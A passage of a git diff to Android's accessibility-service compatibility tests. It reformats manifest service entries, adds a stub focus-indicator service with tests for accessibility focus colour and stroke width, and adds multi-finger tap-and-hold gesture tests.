+        <service android:name="android.accessibility.cts.common.InstrumentedAccessibilityService"
+             android:label="@string/title_soft_keyboard_modes_accessibility_service"
+             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.accessibilityservice.AccessibilityService" />
-                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC" />
+                <action android:name="android.accessibilityservice.AccessibilityService"/>
+                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC"/>
             </intent-filter>
-            <meta-data
-                android:name="android.accessibilityservice"
-                android:resource="@xml/stub_soft_keyboard_modes_accessibility_service" />
+            <meta-data android:name="android.accessibilityservice"
+                 android:resource="@xml/stub_soft_keyboard_modes_accessibility_service"/>
         </service>
 
-        <service
-            android:name=".StubMagnificationAccessibilityService"
-            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+        <service android:name=".StubMagnificationAccessibilityService"
+             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.accessibilityservice.AccessibilityService" />
-                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC" />
+                <action android:name="android.accessibilityservice.AccessibilityService"/>
+                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC"/>
             </intent-filter>
 
-            <meta-data
-                android:name="android.accessibilityservice"
-                android:resource="@xml/stub_magnification_a11y_service" />
+            <meta-data android:name="android.accessibilityservice"
+                 android:resource="@xml/stub_magnification_a11y_service"/>
         </service>
 
-        <service
-            android:name=".StubFingerprintGestureService"
-            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+        <service android:name=".StubFingerprintGestureService"
+             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.accessibilityservice.AccessibilityService" />
-                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC" />
+                <action android:name="android.accessibilityservice.AccessibilityService"/>
+                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC"/>
             </intent-filter>
 
-            <meta-data
-                    android:name="android.accessibilityservice"
-                    android:resource="@xml/stub_fingerprint_gesture_service" />
+            <meta-data android:name="android.accessibilityservice"
+                 android:resource="@xml/stub_fingerprint_gesture_service"/>
         </service>
 
-        <service
-            android:name=".StubAccessibilityButtonService"
-            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+        <service android:name=".StubAccessibilityButtonService"
+             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.accessibilityservice.AccessibilityService" />
-                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC" />
+                <action android:name="android.accessibilityservice.AccessibilityService"/>
+                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC"/>
             </intent-filter>
 
-            <meta-data
-                android:name="android.accessibilityservice"
-                android:resource="@xml/stub_accessibility_button_service" />
+            <meta-data android:name="android.accessibilityservice"
+                 android:resource="@xml/stub_accessibility_button_service"/>
         </service>
 
-        <service
-            android:name=".StubTakeScreenshotService"
-            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+        <service android:name=".StubTakeScreenshotService"
+             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.accessibilityservice.AccessibilityService" />
-                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC" />
+                <action android:name="android.accessibilityservice.AccessibilityService"/>
+                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC"/>
             </intent-filter>
 
-            <meta-data
-                android:name="android.accessibilityservice"
-                android:resource="@xml/stub_take_screenshot_service" />
+            <meta-data android:name="android.accessibilityservice"
+                 android:resource="@xml/stub_take_screenshot_service"/>
         </service>
 
+        <service android:name=".StubFocusIndicatorService"
+                 android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+                 android:exported="true">
+            <intent-filter>
+                <action android:name="android.accessibilityservice.AccessibilityService"/>
+                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC"/>
+            </intent-filter>
+
+            <meta-data android:name="android.accessibilityservice"
+                       android:resource="@xml/stub_focus_indicator_service"/>
+        </service>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.accessibilityservice.cts"
-        android:label="Tests for the accessibility APIs.">
-        <meta-data
-            android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.accessibilityservice.cts"
+         android:label="Tests for the accessibility APIs.">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
 
     </instrumentation>
 
diff --git a/tests/accessibilityservice/OWNERS b/tests/accessibilityservice/OWNERS
index e54f581..0d2264c 100644
--- a/tests/accessibilityservice/OWNERS
+++ b/tests/accessibilityservice/OWNERS
@@ -1,3 +1,5 @@
 # Bug component: 44214
 pweaver@google.com
 rhedjao@google.com
+qasid@google.com
+ryanlwlin@google.com
diff --git a/tests/accessibilityservice/res/values/strings.xml b/tests/accessibilityservice/res/values/strings.xml
index 7b6be1e..03de62d 100644
--- a/tests/accessibilityservice/res/values/strings.xml
+++ b/tests/accessibilityservice/res/values/strings.xml
@@ -194,4 +194,6 @@
     <!-- String title of accessibility embedded hierarchy test activity -->
     <string name="accessibility_embedded_hierarchy_test_activity">Accessibility embedded hierarchy test</string>
 
+    <string name="stub_focus_indicator_service_description">com.android.accessibilityservice.cts.StubFocusIndicatorService</string>
+
 </resources>
diff --git a/tests/accessibilityservice/res/xml/stub_focus_indicator_service.xml b/tests/accessibilityservice/res/xml/stub_focus_indicator_service.xml
new file mode 100644
index 0000000..a27c7ca
--- /dev/null
+++ b/tests/accessibilityservice/res/xml/stub_focus_indicator_service.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
+                       android:description="@string/stub_focus_indicator_service_description"
+/>
\ No newline at end of file
diff --git a/tests/accessibilityservice/res/xml/stub_touch_exploration_a11y_service.xml b/tests/accessibilityservice/res/xml/stub_touch_exploration_a11y_service.xml
index 33c5ec8..5797079 100644
--- a/tests/accessibilityservice/res/xml/stub_touch_exploration_a11y_service.xml
+++ b/tests/accessibilityservice/res/xml/stub_touch_exploration_a11y_service.xml
@@ -20,7 +20,7 @@
         android:description="@string/stub_touch_exploration_a11y_service_description"
         android:accessibilityEventTypes="typeAllMask"
         android:accessibilityFeedbackType="feedbackGeneric"
-        android:accessibilityFlags="flagDefault|flagRequestTouchExplorationMode|flagReportViewIds"
+        android:accessibilityFlags="flagDefault|flagRequestTouchExplorationMode|flagReportViewIds|flagSendMotionEvents"
         android:canRequestTouchExplorationMode="true"
         android:canRetrieveWindowContent="true"
         android:canPerformGestures="true" />
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEmbeddedDisplayTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEmbeddedDisplayTest.java
index ece2fbf..03324b8 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEmbeddedDisplayTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEmbeddedDisplayTest.java
@@ -247,13 +247,14 @@
         assertNotNull(mEmbeddedDisplayActivity);
     }
 
-    public static class EmbeddedDisplayParentActivity extends Activity {
+    public static class EmbeddedDisplayParentActivity extends AccessibilityTestActivity {
         private ActivityView mActivityView;
 
         @Override
         public void onCreate(Bundle savedInstanceState) {
             super.onCreate(savedInstanceState);
-            mActivityView = new ActivityView(this, null, 0, false, true);
+            mActivityView = new ActivityView.Builder(this)
+                    .setUsePublicVirtualDisplay(true).build();
             setContentView(mActivityView);
         }
 
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
index 4166213..1b003e3 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
@@ -18,6 +18,7 @@
 
 import static android.accessibility.cts.common.InstrumentedAccessibilityService.enableService;
 import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterForEventType;
+import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterForEventTypeWithAction;
 import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterForEventTypeWithResource;
 import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.findWindowByTitle;
 import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.getActivityTitle;
@@ -458,7 +459,7 @@
                             .setSmallIcon(android.R.drawable.stat_notify_call_mute)
                             .setContentIntent(PendingIntent.getActivity(mActivity, 0,
                                     new Intent(),
-                                    PendingIntent.FLAG_CANCEL_CURRENT))
+            PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE))
                             .setTicker(message)
                             .setContentTitle("")
                             .setContentText("")
@@ -699,9 +700,11 @@
         assertFalse(hasTooltipShowing(R.id.buttonWithTooltip));
         assertThat(ACTION_SHOW_TOOLTIP, in(buttonNode.getActionList()));
         assertThat(ACTION_HIDE_TOOLTIP, not(in(buttonNode.getActionList())));
-        sUiAutomation.executeAndWaitForEvent(() -> buttonNode.performAction(
-                ACTION_SHOW_TOOLTIP.getId()),
-                filterForEventType(AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED),
+        sUiAutomation.executeAndWaitForEvent(
+                () -> buttonNode.performAction(ACTION_SHOW_TOOLTIP.getId()),
+                filterForEventTypeWithAction(
+                        AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED,
+                        ACTION_SHOW_TOOLTIP.getId()),
                 DEFAULT_TIMEOUT_MS);
 
         // The button should now be showing the tooltip, so it should have the option to hide it.
@@ -813,7 +816,9 @@
         // Perform an action and wait for an event
         sUiAutomation.executeAndWaitForEvent(
                 () -> button.performAction(AccessibilityNodeInfo.ACTION_CLICK),
-                filterForEventType(AccessibilityEvent.TYPE_VIEW_CLICKED), DEFAULT_TIMEOUT_MS);
+                filterForEventTypeWithAction(
+                        AccessibilityEvent.TYPE_VIEW_CLICKED, AccessibilityNodeInfo.ACTION_CLICK),
+                DEFAULT_TIMEOUT_MS);
 
         // Make sure the MotionEvent.ACTION_OUTSIDE is received.
         verify(listener, timeout(DEFAULT_TIMEOUT_MS).atLeastOnce()).onTouch(any(View.class),
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
index b7ccc19..d0d513a 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
@@ -14,8 +14,11 @@
 
 package android.accessibilityservice.cts;
 
+import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterForEventTypeWithAction;
 import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.launchActivityAndWaitForItToBeOnscreen;
 import static android.accessibilityservice.cts.utils.AsyncUtils.DEFAULT_TIMEOUT_MS;
+import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUSED;
+import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED;
 import static android.view.accessibility.AccessibilityNodeInfo.ACTION_ACCESSIBILITY_FOCUS;
 import static android.view.accessibility.AccessibilityNodeInfo.ACTION_CLEAR_ACCESSIBILITY_FOCUS;
 
@@ -27,26 +30,38 @@
 import static org.junit.Assert.fail;
 
 import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
 import android.accessibilityservice.AccessibilityServiceInfo;
 import android.accessibilityservice.cts.activities.AccessibilityFocusAndInputFocusSyncActivity;
 import android.app.Instrumentation;
 import android.app.UiAutomation;
+import android.content.Context;
+import android.graphics.Bitmap;
+import android.graphics.Color;
+import android.graphics.Point;
+import android.os.Environment;
+import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
 import android.test.suitebuilder.annotation.MediumTest;
+import android.view.Display;
 import android.view.View;
-import android.view.accessibility.AccessibilityEvent;
+import android.view.accessibility.AccessibilityManager;
 import android.view.accessibility.AccessibilityNodeInfo;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.BitmapUtils;
+import com.android.compatibility.common.util.PollingCheck;
+
 import org.junit.AfterClass;
 import org.junit.Before;
 import org.junit.BeforeClass;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.RuleChain;
+import org.junit.rules.TestName;
 import org.junit.runner.RunWith;
 
 import java.util.LinkedList;
@@ -61,30 +76,50 @@
  */
 @RunWith(AndroidJUnit4.class)
 public class AccessibilityFocusAndInputFocusSyncTest {
+    /**
+     * The delay time is for next UI frame rendering out.
+     */
+    private static final long SCREEN_FRAME_RENDERING_OUT_TIME_MILLIS = 500;
+
     private static Instrumentation sInstrumentation;
     private static UiAutomation sUiAutomation;
+    private static Context sContext;
+    private static AccessibilityManager sAccessibilityManager;
+    private static int sFocusStrokeWidthDefaultValue;
+    private static int sFocusColorDefaultValue;
 
     private AccessibilityFocusAndInputFocusSyncActivity mActivity;
 
     private ActivityTestRule<AccessibilityFocusAndInputFocusSyncActivity> mActivityRule =
             new ActivityTestRule<>(AccessibilityFocusAndInputFocusSyncActivity.class, false, false);
 
+    private InstrumentedAccessibilityServiceTestRule<StubFocusIndicatorService>
+            mFocusIndicatorServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+            StubFocusIndicatorService.class, false);
+
     private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
             new AccessibilityDumpOnFailureRule();
 
     @Rule
     public final RuleChain mRuleChain = RuleChain
             .outerRule(mActivityRule)
+            .around(mFocusIndicatorServiceRule)
             .around(mDumpOnFailureRule);
 
+    /* Test name rule that tracks the current test method under execution */
+    @Rule public TestName mTestName = new TestName();
+
     @BeforeClass
     public static void oneTimeSetup() throws Exception {
         sInstrumentation = InstrumentationRegistry.getInstrumentation();
-        sUiAutomation = sInstrumentation.getUiAutomation();
-        AccessibilityServiceInfo info = sUiAutomation.getServiceInfo();
-        info.flags |= AccessibilityServiceInfo.FLAG_REQUEST_TOUCH_EXPLORATION_MODE;
-        info.flags &= ~AccessibilityServiceInfo.FLAG_INCLUDE_NOT_IMPORTANT_VIEWS;
-        sUiAutomation.setServiceInfo(info);
+        sUiAutomation = sInstrumentation.getUiAutomation(
+                UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
+
+        sContext = sInstrumentation.getContext();
+        sAccessibilityManager = sContext.getSystemService(AccessibilityManager.class);
+        assertNotNull(sAccessibilityManager);
+        sFocusStrokeWidthDefaultValue = sAccessibilityManager.getAccessibilityFocusStrokeWidth();
+        sFocusColorDefaultValue = sAccessibilityManager.getAccessibilityFocusColor();
     }
 
     @AfterClass
@@ -94,6 +129,11 @@
 
     @Before
     public void setUp() throws Exception {
+        AccessibilityServiceInfo info = sUiAutomation.getServiceInfo();
+        info.flags |= AccessibilityServiceInfo.FLAG_REQUEST_TOUCH_EXPLORATION_MODE;
+        info.flags &= ~AccessibilityServiceInfo.FLAG_INCLUDE_NOT_IMPORTANT_VIEWS;
+        sUiAutomation.setServiceInfo(info);
+
         mActivity = launchActivityAndWaitForItToBeOnscreen(
                 sInstrumentation, sUiAutomation, mActivityRule);
     }
@@ -108,15 +148,15 @@
         // Get the view that has input and accessibility focus.
         final AccessibilityNodeInfo expected = sUiAutomation
                 .getRootInActiveWindow().findAccessibilityNodeInfosByText(
-                        sInstrumentation.getContext().getString(R.string.firstEditText)).get(0);
+                        sContext.getString(R.string.firstEditText)).get(0);
         assertNotNull(expected);
         assertFalse(expected.isAccessibilityFocused());
         assertTrue(expected.isFocused());
 
         sUiAutomation.executeAndWaitForEvent(
                 () -> assertTrue(expected.performAction(ACTION_ACCESSIBILITY_FOCUS)),
-                (event) ->
-                        event.getEventType() == AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUSED,
+                filterForEventTypeWithAction(
+                        TYPE_VIEW_ACCESSIBILITY_FOCUSED, ACTION_ACCESSIBILITY_FOCUS),
                 DEFAULT_TIMEOUT_MS);
 
         // Get the second expected node info.
@@ -145,14 +185,14 @@
         // Get the root linear layout info.
         final AccessibilityNodeInfo rootLinearLayout = sUiAutomation
                 .getRootInActiveWindow().findAccessibilityNodeInfosByText(
-                        sInstrumentation.getContext().getString(R.string.rootLinearLayout)).get(0);
+                        sContext.getString(R.string.rootLinearLayout)).get(0);
         assertNotNull(rootLinearLayout);
         assertFalse(rootLinearLayout.isAccessibilityFocused());
 
         sUiAutomation.executeAndWaitForEvent(
                 () -> assertTrue(rootLinearLayout.performAction(ACTION_ACCESSIBILITY_FOCUS)),
-                (event) ->
-                        event.getEventType() == AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUSED,
+                filterForEventTypeWithAction(
+                        TYPE_VIEW_ACCESSIBILITY_FOCUSED, ACTION_ACCESSIBILITY_FOCUS),
                 DEFAULT_TIMEOUT_MS);
 
         // Get the node info again.
@@ -169,13 +209,13 @@
         // Get the root linear layout info.
         final AccessibilityNodeInfo rootLinearLayout = sUiAutomation
                 .getRootInActiveWindow().findAccessibilityNodeInfosByText(
-                        sInstrumentation.getContext().getString(R.string.rootLinearLayout)).get(0);
+                        sContext.getString(R.string.rootLinearLayout)).get(0);
         assertNotNull(rootLinearLayout);
 
         sUiAutomation.executeAndWaitForEvent(
                 () -> assertTrue(rootLinearLayout.performAction(ACTION_ACCESSIBILITY_FOCUS)),
-                (event) ->
-                        event.getEventType() == AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUSED,
+                filterForEventTypeWithAction(
+                        TYPE_VIEW_ACCESSIBILITY_FOCUSED, ACTION_ACCESSIBILITY_FOCUS),
                 DEFAULT_TIMEOUT_MS);
 
         // Refresh the node info.
@@ -186,8 +226,8 @@
 
         sUiAutomation.executeAndWaitForEvent(
                 () -> assertTrue(rootLinearLayout.performAction(ACTION_CLEAR_ACCESSIBILITY_FOCUS)),
-                (event) -> event.getEventType()
-                        == AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED,
+                filterForEventTypeWithAction(
+                        TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED, ACTION_CLEAR_ACCESSIBILITY_FOCUS),
                 DEFAULT_TIMEOUT_MS);
 
         // Refresh the node info.
@@ -204,21 +244,21 @@
         // Get the first not focused edit text.
         final AccessibilityNodeInfo firstEditText = sUiAutomation
                 .getRootInActiveWindow().findAccessibilityNodeInfosByText(
-                        sInstrumentation.getContext().getString(R.string.firstEditText)).get(0);
+                        sContext.getString(R.string.firstEditText)).get(0);
         assertNotNull(firstEditText);
         assertTrue(firstEditText.isFocusable());
         assertFalse(firstEditText.isAccessibilityFocused());
 
         sUiAutomation.executeAndWaitForEvent(
                 () -> assertTrue(firstEditText.performAction(ACTION_ACCESSIBILITY_FOCUS)),
-                (event) ->
-                        event.getEventType() == AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUSED,
+                filterForEventTypeWithAction(
+                        TYPE_VIEW_ACCESSIBILITY_FOCUSED, ACTION_ACCESSIBILITY_FOCUS),
                 DEFAULT_TIMEOUT_MS);
 
         // Get the second not focused edit text.
         final AccessibilityNodeInfo secondEditText = sUiAutomation
                 .getRootInActiveWindow().findAccessibilityNodeInfosByText(
-                        sInstrumentation.getContext().getString(R.string.secondEditText)).get(0);
+                        sContext.getString(R.string.secondEditText)).get(0);
         assertNotNull(secondEditText);
         assertTrue(secondEditText.isFocusable());
         assertFalse(secondEditText.isFocused());
@@ -226,8 +266,8 @@
 
         sUiAutomation.executeAndWaitForEvent(
                 () -> assertTrue(secondEditText.performAction(ACTION_ACCESSIBILITY_FOCUS)),
-                (event) ->
-                        event.getEventType() == AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUSED,
+                filterForEventTypeWithAction(
+                        TYPE_VIEW_ACCESSIBILITY_FOCUSED, ACTION_ACCESSIBILITY_FOCUS),
                 DEFAULT_TIMEOUT_MS);
 
         // Get the node info again.
@@ -257,7 +297,7 @@
     public void testScreenReaderFocusableAttribute_reportedToAccessibility() {
         final AccessibilityNodeInfo secondButton = sUiAutomation.getRootInActiveWindow()
                 .findAccessibilityNodeInfosByText(
-                        sInstrumentation.getContext().getString(R.string.secondButton)).get(0);
+                        sContext.getString(R.string.secondButton)).get(0);
         assertTrue("Screen reader focusability not propagated from xml to accessibility",
                 secondButton.isScreenReaderFocusable());
 
@@ -277,4 +317,128 @@
                 "Screen reader focusability not propagated to accessibility after calling setter",
                 secondButton.isScreenReaderFocusable());
     }
+
+    @Test
+    public void testSetFocusAppearanceDataAfterServiceEnabled() {
+        final StubFocusIndicatorService service =
+                mFocusIndicatorServiceRule.enableService();
+        final int focusColor = sFocusColorDefaultValue == Color.BLUE ? Color.RED : Color.BLUE;
+
+        try {
+            setFocusAppearanceDataAndCheckItCorrect(service, sFocusStrokeWidthDefaultValue + 10,
+                    focusColor);
+        } finally {
+            setFocusAppearanceDataAndCheckItCorrect(service, sFocusStrokeWidthDefaultValue,
+                    sFocusColorDefaultValue);
+
+            service.disableSelfAndRemove();
+        }
+    }
+
+    @Test
+    public void testChangeFocusColor_expectedColorIsChanged() throws Exception {
+        final StubFocusIndicatorService service =
+                mFocusIndicatorServiceRule.enableService();
+
+        try {
+            // Get the root linear layout info.
+            final AccessibilityNodeInfo rootLinearLayout = sUiAutomation
+                    .getRootInActiveWindow().findAccessibilityNodeInfosByText(
+                            sContext.getString(R.string.rootLinearLayout)).get(0);
+
+            final Bitmap blueColorFocusScreenshot = screenshotAfterChangeFocusColor(service,
+                    rootLinearLayout, Color.BLUE);
+
+            final Bitmap redColorFocusScreenshot = screenshotAfterChangeFocusColor(service,
+                    rootLinearLayout, Color.RED);
+
+            assertTrue(isBitmapDifferent(blueColorFocusScreenshot, redColorFocusScreenshot));
+        } finally {
+            setFocusAppearanceDataAndCheckItCorrect(service, sFocusStrokeWidthDefaultValue,
+                    sFocusColorDefaultValue);
+
+            service.disableSelfAndRemove();
+        }
+    }
+
+    private Bitmap screenshotAfterChangeFocusColor(StubFocusIndicatorService service,
+            AccessibilityNodeInfo unAccessibilityFocusedNode, int color) throws Exception {
+        assertFalse(unAccessibilityFocusedNode.isAccessibilityFocused());
+
+        setFocusAppearanceDataAndCheckItCorrect(service, sFocusStrokeWidthDefaultValue, color);
+        sUiAutomation.executeAndWaitForEvent(
+                () -> assertTrue(unAccessibilityFocusedNode.performAction(
+                        ACTION_ACCESSIBILITY_FOCUS)),
+                filterForEventTypeWithAction(TYPE_VIEW_ACCESSIBILITY_FOCUSED,
+                        ACTION_ACCESSIBILITY_FOCUS),
+                DEFAULT_TIMEOUT_MS);
+        Thread.sleep(SCREEN_FRAME_RENDERING_OUT_TIME_MILLIS);
+
+        final Bitmap screenshot = sUiAutomation.takeScreenshot();
+
+        sUiAutomation.executeAndWaitForEvent(
+                () -> assertTrue(unAccessibilityFocusedNode.performAction(
+                        ACTION_CLEAR_ACCESSIBILITY_FOCUS)),
+                filterForEventTypeWithAction(TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED,
+                        ACTION_CLEAR_ACCESSIBILITY_FOCUS),
+                DEFAULT_TIMEOUT_MS);
+
+        return screenshot;
+    }
+
+    private boolean isBitmapDifferent(Bitmap bitmap1, Bitmap bitmap2) {
+        final Display display = mActivity.getWindowManager().getDefaultDisplay();
+        final Point displaySize = new Point();
+        display.getRealSize(displaySize);
+
+        final int[] pixelsOne = new int[displaySize.x * displaySize.y];
+        final Bitmap bitmapOne = bitmap1.copy(Bitmap.Config.ARGB_8888, false);
+        bitmapOne.getPixels(pixelsOne, 0, displaySize.x, 0, 0, displaySize.x,
+                displaySize.y);
+
+        final int[] pixelsTwo = new int[displaySize.x * displaySize.y];
+        final Bitmap bitmapTwo = bitmap2.copy(Bitmap.Config.ARGB_8888, false);
+        bitmapTwo.getPixels(pixelsTwo, 0, displaySize.x, 0, 0, displaySize.x,
+                displaySize.y);
+
+        for (int i = pixelsOne.length - 1; i > 0; i--) {
+            if ((Color.red(pixelsOne[i]) != Color.red(pixelsTwo[i]))
+                    || (Color.green(pixelsOne[i]) != Color.green(pixelsTwo[i]))
+                    || (Color.blue(pixelsOne[i]) != Color.blue(pixelsTwo[i]))) {
+                return true;
+            }
+        }
+
+        saveFailureScreenshot(bitmap1, bitmap2);
+        return false;
+    }
+
+    private void saveFailureScreenshot(Bitmap bitmap1, Bitmap bitmap2) {
+        final String directoryName = Environment.getExternalStorageDirectory()
+                + "/" + getClass().getSimpleName();
+
+        final String fileName1 = String.format("%s_%s_%s.png", mTestName.getMethodName(), "Bitmap1",
+                SystemClock.uptimeMillis());
+        BitmapUtils.saveBitmap(bitmap1, directoryName, fileName1);
+
+        final String fileName2 = String.format("%s_%s_%s.png", mTestName.getMethodName(), "Bitmap2",
+                SystemClock.uptimeMillis());
+        BitmapUtils.saveBitmap(bitmap2, directoryName, fileName2);
+    }
+
+    private void setFocusAppearanceDataAndCheckItCorrect(StubFocusIndicatorService service,
+            int focusStrokeWidthValue, int focusColorValue) {
+        service.setAccessibilityFocusAppearance(focusStrokeWidthValue,
+                focusColorValue);
+        // Checks if the color and the stroke values from AccessibilityManager is
+        // updated as in expectation.
+        PollingCheck.waitFor(()->isFocusAppearanceDataUpdated(sAccessibilityManager,
+                focusStrokeWidthValue, focusColorValue));
+    }
+
+    private static boolean isFocusAppearanceDataUpdated(AccessibilityManager manager,
+            int strokeWidth, int color) {
+        return manager.getAccessibilityFocusStrokeWidth() == strokeWidth
+                && manager.getAccessibilityFocusColor() == color;
+    }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
index d57794a..499a505 100755
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
@@ -69,7 +69,7 @@
 public class AccessibilityGestureDetectorTest {
 
     // Constants
-    private static final float GESTURE_LENGTH_INCHES = 2.0f;
+    private static final float GESTURE_LENGTH_INCHES = 1.0f;
     // The movement should exceed the threshold 1 cm in 150 ms defined in Swipe.java. It means the
     // swipe velocity in testing should be greater than 2.54 cm / 381 ms. Therefore the
     // duration should be smaller than 381.
@@ -244,7 +244,11 @@
                 twoFingerSingleTap(displayId),
                 AccessibilityService.GESTURE_2_FINGER_SINGLE_TAP,
                 displayId);
-        testGesture(
+                testGesture(
+                        twoFingerTripleTapAndHold(displayId),
+                        AccessibilityService.GESTURE_2_FINGER_TRIPLE_TAP_AND_HOLD,
+                        displayId);
+                testGesture(
                 twoFingerDoubleTap(displayId),
                 AccessibilityService.GESTURE_2_FINGER_DOUBLE_TAP,
                 displayId);
@@ -261,7 +265,11 @@
                 threeFingerSingleTap(displayId),
                 AccessibilityService.GESTURE_3_FINGER_SINGLE_TAP,
                 displayId);
-        testGesture(
+                testGesture(
+                        threeFingerSingleTapAndHold(displayId),
+                        AccessibilityService.GESTURE_3_FINGER_SINGLE_TAP_AND_HOLD,
+                        displayId);
+                testGesture(
                 threeFingerDoubleTap(displayId),
                 AccessibilityService.GESTURE_3_FINGER_DOUBLE_TAP,
                 displayId);
@@ -273,6 +281,10 @@
                 threeFingerTripleTap(displayId),
                 AccessibilityService.GESTURE_3_FINGER_TRIPLE_TAP,
                 displayId);
+                testGesture(
+                        threeFingerTripleTapAndHold(displayId),
+                        AccessibilityService.GESTURE_3_FINGER_TRIPLE_TAP_AND_HOLD,
+                        displayId);
 
         testGesture(
                 fourFingerSingleTap(displayId),
@@ -367,7 +379,6 @@
         // Use AccessibilityService.dispatchGesture() instead of Instrumentation.sendPointerSync()
         // because accessibility services read gesture events upstream from the point where
         // sendPointerSync() injects events.
-        mService.clearGestures();
         mService.runOnServiceSync(() ->
         mService.dispatchGesture(gesture, mGestureDispatchCallback, null));
         verify(mGestureDispatchCallback, timeout(GESTURE_DISPATCH_TIMEOUT_MS).atLeastOnce())
@@ -530,6 +541,10 @@
         return multiFingerMultiTap(2, 1, displayId);
     }
 
+    private GestureDescription twoFingerTripleTapAndHold(int displayId) {
+        return multiFingerMultiTapAndHold(2, 3, displayId);
+    }
+
     private GestureDescription twoFingerDoubleTap(int displayId) {
         return multiFingerMultiTap(2, 2, displayId);
     }
@@ -546,6 +561,10 @@
         return multiFingerMultiTap(3, 1, displayId);
     }
 
